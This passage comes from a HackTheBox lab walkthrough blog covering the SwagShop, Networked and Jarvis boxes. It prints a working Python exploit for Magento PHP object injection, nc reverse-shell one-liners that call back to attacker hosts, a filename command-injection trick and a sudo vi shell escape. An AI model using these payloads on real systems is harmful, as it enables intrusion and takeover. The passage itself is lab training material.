gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0175.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0176.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0177.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0178.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0179.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was clearly a cms framework. Search for it immediately, identify the target version, and check for default credentials at the same time.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0180.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;These exp could not find the endpoint, so they could not be used.&lt;/p&gt;&#10;&lt;p&gt;Directory brute-forcing revealed an interesting location.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0181.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Every uploaded session was recorded. I started by brute-forcing to see whether any historical session could be used to log in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0182.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0183.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0184.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was another approach. If I left the site alone and the target&amp;rsquo;s backend had a scheduled task, it would naturally log in automatically. I could keep refreshing without a cookie and then check which cookie was the newest.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0185.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was absolutely nothing. I waited around 10 minutes to see whether a scheduled task would upload a session.&lt;/p&gt;&#10;&lt;p&gt;There was still no scheduled task activity.&lt;/p&gt;&#10;&lt;p&gt;However, the session files could be opened. I could brute-force the session files directly and inspect their contents, filtering them one by one as long as the ip was not mine.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0186.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0187.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0188.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were actually many more, but I will not list them all.&lt;/p&gt;&#10;&lt;p&gt;They contained many cookies and endpoints, but even after using those cookies and changing the ua, I still could not access anything.&lt;/p&gt;&#10;&lt;p&gt;I wondered whether the cookie had expired, but found that the session could record things that had previously been accessed. At the same time, I found this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0189.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Try logging in once with anything and see how it records the credentials.&lt;/p&gt;&#10;&lt;p&gt;I could not log in at all.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0190.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0191.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While searching for the hash, I found a report whose path closely resembled the searchsploit script I had found.&lt;/p&gt;&#10;&lt;p&gt;This article was written in 2015, when the vulnerability was still considered a 0day.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.sucuri.net/2015/04/magento-shoplift-supee-5344-exploits-in-the-wild.html" target="_blank" rel="noopener"&#10; &gt;https://blog.sucuri.net/2015/04/magento-shoplift-supee-5344-exploits-in-the-wild.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It felt like everything was hinting that I should use an exp, but I did not actually know the exact version of this cms.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0192.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the poc. I had forgotten this approach: if no version information can be found, perhaps the wordlist is simply not strong enough, and you can try an nday directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0193.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked. The script had a bug.&lt;/p&gt;&#10;&lt;p&gt;Delete the uncommented part and add the domain yourself. Another important point is that index.php must be appended for the include to work; otherwise the path cannot be resolved.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0194.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Finally got into the admin backend.&lt;/p&gt;&#10;&lt;p&gt;I actually had another code-execution script here, 37811, which I found during the earlier search. It could not log in without a username and password. Now I could modify the code and see whether it could get a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0195.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was where the script&amp;rsquo;s problem lay. Its request could never obtain the key. The intended approach was to append the key to the discovered url path and enter the backend directly. Delete all the earlier login code and pass it the key and url instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0196.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was extremely difficult to sort out. I had no choice but to audit the code, and eventually finished it.&lt;/p&gt;&#10;&lt;p&gt;The two values needed for a successful login were on this home page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0197.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Right on the home page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0198.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The second value was also on the home page. Just switch over and capture the traffic.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0199.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Update the date.&lt;/p&gt;&#10;&lt;p&gt;Constructing the payload with the wrong type caused the script to hang; it had to be a bytes-like object rather than a str. I modified the original code and constructed it with Python 2.&lt;/p&gt;&#10;&lt;p&gt;Actually, just remove this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0200.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The code failed entirely because the login here did not succeed, which caused everything afterward to fail. Delete it, fix everything, and running it directly produces the result.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0201.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I spent a great deal of time debugging this script. I had never used mechanize before, and if I reused it directly with python3, its regular expression had to be rewritten. If I simply inserted the required parameters myself, it also reported an error. It was ridiculous.&lt;/p&gt;&#10;&lt;p&gt;In particular, the final request and encryption had to be done with python2 because python2 and 3 generate base64 differently.&lt;/p&gt;&#10;&lt;p&gt;After reviewing everything and finally getting it to execute successfully, the easiest method was simply to find the tunnel parameter yourself. That was very easy.&lt;/p&gt;&#10;&lt;p&gt;For the payload, add the parameters yourself and let it generate the payload locally. Then just concatenate the url and visit it yourself.&lt;/p&gt;&#10;&lt;p&gt;Adding parameters to the script below directly produces the exp.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from hashlib import md5&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import sys&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import re&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import base64&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import mechanize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;arg = &amp;#34;whoami&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;php_function = &amp;#39;system&amp;#39; # Note: we can only pass 1 argument to the function&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;install_date = &amp;#39;Wed, 08 May 2019 07:23:09 +0000&amp;#39; # This needs to be the exact date from /app/etc/local.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# POP chain to pivot into call_user_exec&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;payload = &amp;#39;O:8:\&amp;#34;Zend_Log\&amp;#34;:1:{s:11:\&amp;#34;\00*\00_writers\&amp;#34;;a:2:{i:0;O:20:\&amp;#34;Zend_Log_Writer_Mail\&amp;#34;:4:{s:16:&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;\&amp;#34;\00*\00_eventsToMail\&amp;#34;;a:3:{i:0;s:11:\&amp;#34;EXTERMINATE\&amp;#34;;i:1;s:12:\&amp;#34;EXTERMINATE!\&amp;#34;;i:2;s:15:\&amp;#34;&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;EXTERMINATE!!!!\&amp;#34;;}s:22:\&amp;#34;\00*\00_subjectPrependText\&amp;#34;;N;s:10:\&amp;#34;\00*\00_layout\&amp;#34;;O:23:\&amp;#34;&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Zend_Config_Writer_Yaml\&amp;#34;:3:{s:15:\&amp;#34;\00*\00_yamlEncoder\&amp;#34;;s:%d:\&amp;#34;%s\&amp;#34;;s:17:\&amp;#34;\00*\00&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;_loadedSection\&amp;#34;;N;s:10:\&amp;#34;\00*\00_config\&amp;#34;;O:13:\&amp;#34;Varien_Object\&amp;#34;:1:{s:8:\&amp;#34;\00*\00_data\&amp;#34;&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;;s:%d:\&amp;#34;%s\&amp;#34;;}}s:8:\&amp;#34;\00*\00_mail\&amp;#34;;O:9:\&amp;#34;Zend_Mail\&amp;#34;:0:{}}i:1;i:2;}}&amp;#39; % (len(php_function), php_function,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; len(arg), arg)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tunnel = &amp;#34;http://swagshop.htb/index.php/admin/dashboard/tunnel/key/cfd2660c391a49a2ee56a96ffe8300f0/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;payload = base64.b64encode(payload)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gh = md5(payload + install_date).hexdigest()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;exploit = tunnel + &amp;#39;?ga=&amp;#39; + payload + &amp;#39;&amp;amp;h=&amp;#39; + gh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print exploit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;arg is the command you want to execute.&lt;/p&gt;&#10;&lt;p&gt;install_date comes from /app/etc/local.xml.&lt;/p&gt;&#10;&lt;p&gt;After obtaining tunnel, keep only the key and delete everything after it.&lt;/p&gt;&#10;&lt;p&gt;Just visit the URL produced as exploit.&lt;/p&gt;&#10;&lt;p&gt;A bash reverse shell did not work in testing, so I used nc and got a connection back.&lt;/p&gt;&#10;&lt;p&gt;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 1234 &amp;gt;/tmp/f&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0202.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Getting the initial external foothold here demanded a fairly high level of code-auditing skill.&lt;/p&gt;&#10;&lt;p&gt;Privilege-escalation information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0203.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0204.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I originally thought I needed to escalate to haris, but one look at sudo -l revealed a conventional privilege-escalation path.&lt;/p&gt;&#10;&lt;p&gt;sudo /usr/bin/vi /var/www/html/api.php&lt;/p&gt;&#10;&lt;p&gt;Enter :!/bin/sh directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0205.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Overall, the hard part was not that the cms itself was especially difficult, but that it was so old. I had to modify scripts and audit code myself. At first I thought the code was written too abstractly, but looking at it later, it was actually correct; there were simply too many things to determine. Most of the time was spent obtaining the initial external foothold.&lt;/p&gt;&#10;&lt;h2 id="11networked"&gt;&lt;a href="#11networked" class="header-anchor"&gt;&lt;/a&gt;11.Networked&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0206.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll get straight to the point: there wasn&amp;rsquo;t much here. It was mainly a code audit.&lt;/p&gt;&#10;&lt;p&gt;I reviewed all three files from start to finish and found no vulnerabilities at all. The only thing I noticed was its rather distinctive file-naming scheme.&lt;/p&gt;&#10;&lt;p&gt;There was still nothing after the audit, so I had no choice but to read a write-up. It was a bit mind-blowing.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/78705237/file-upload-bypass-mechnisms-in-php" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/78705237/file-upload-bypass-mechnisms-in-php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://dev.to/giannisftaras/file-upload-bypass-using-mime-type-4ej0" target="_blank" rel="noopener"&#10; &gt;https://dev.to/giannisftaras/file-upload-bypass-using-mime-type-4ej0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://techyzilla.blogspot.com/2012/07/injecting-malicious-php-in-to-an-image-file.html" target="_blank" rel="noopener"&#10; &gt;https://techyzilla.blogspot.com/2012/07/injecting-malicious-php-in-to-an-image-file.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I don&amp;rsquo;t know whether the box is just too old or what, but this was my first time seeing this kind of bypass.&lt;/p&gt;&#10;&lt;p&gt;There was actually a hint, though.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0207.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;When you see an obvious API function as a hint, search for vulnerabilities in it directly.&lt;/p&gt;&#10;&lt;p&gt;Another lesson learned. The conclusion from those links above is this:&lt;/p&gt;&#10;&lt;p&gt;You only need to fool the code by uploading a php.gif file containing PHP. The server will then automatically parse it as PHP code.&lt;/p&gt;&#10;&lt;p&gt;Pretty ridiculous.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0208.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0209.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s just pop a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0210.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0211.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation and information gathering.&lt;/p&gt;&#10;&lt;p&gt;I found an obvious privilege-escalation path in the home directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0212.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This scheduled task runs every three minutes, probably as guly. I could upload pspy32 to check, but there was no need.&lt;/p&gt;&#10;&lt;p&gt;It takes a value, and that value can be appended inside exec.&lt;/p&gt;&#10;&lt;p&gt;So all we need is command concatenation: nohup /bin/rm -f $path$value &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/p&gt;&#10;&lt;p&gt;We know path is /var/www/html/uploads/, while value is one of the files below it.&lt;/p&gt;&#10;&lt;p&gt;Under uploads, run touch &amp;ldquo;1;nc -c sh 10.10.16.13 6666 &amp;amp;&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;That will send a shell back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0213.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0214.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Standard privilege-escalation enumeration. Let&amp;rsquo;s see what this file is.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0215.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read through it but couldn&amp;rsquo;t find a problem, so I Googled the configuration name directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0216.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0217.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://seclists.org/fulldisclosure/2019/Apr/24" target="_blank" rel="noopener"&#10; &gt;https://seclists.org/fulldisclosure/2019/Apr/24&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Switch users directly at NAME and see what happens.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0218.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. At first I thought this would be pure code auditing. After spending ages on it, I didn&amp;rsquo;t expect this kind of box to lean more toward exploit use and search skills. In the future, whenever I encounter a hint or a framework, I should search for a payload immediately.&lt;/p&gt;&#10;&lt;h2 id="12jarvis"&gt;&lt;a href="#12jarvis" class="header-anchor"&gt;&lt;/a&gt;12.Jarvis&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0219.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0220.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I probably shouldn&amp;rsquo;t scan it, or I&amp;rsquo;ll get banned.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0221.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Add both domains to hosts.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0222.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Adding the domains didn&amp;rsquo;t seem to change anything. Let&amp;rsquo;s keep looking.&lt;/p&gt;&#10;&lt;p&gt;It seems that as long as I don&amp;rsquo;t attack port 64999, I won&amp;rsquo;t get banned. I even ran directory brute-forcing without a problem. This banning mechanism is strange; perhaps something nmap does triggers it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0223.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found an obvious injection point. OSCP doesn&amp;rsquo;t allow tools such as sqlmap, so I&amp;rsquo;ll test it manually.&lt;/p&gt;&#10;&lt;p&gt;At this point I didn&amp;rsquo;t know the absolute path. Testing showed the current user wasn&amp;rsquo;t root, and I didn&amp;rsquo;t know whether it had write permission or what the absolute path was.&lt;/p&gt;&#10;&lt;p&gt;All of those factors prevented me from writing a shell, but I found a phpmyadmin instance.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://supersecurehotel.htb/phpmyadmin/index.php" target="_blank" rel="noopener"&#10; &gt;http://supersecurehotel.htb/phpmyadmin/index.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The path forward was clear: extract the current user&amp;rsquo;s username and password, then log in and take a look.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Host&amp;#39;: &amp;#39;10.10.10.143&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (X11; Linux x86_64; rv:102.0) 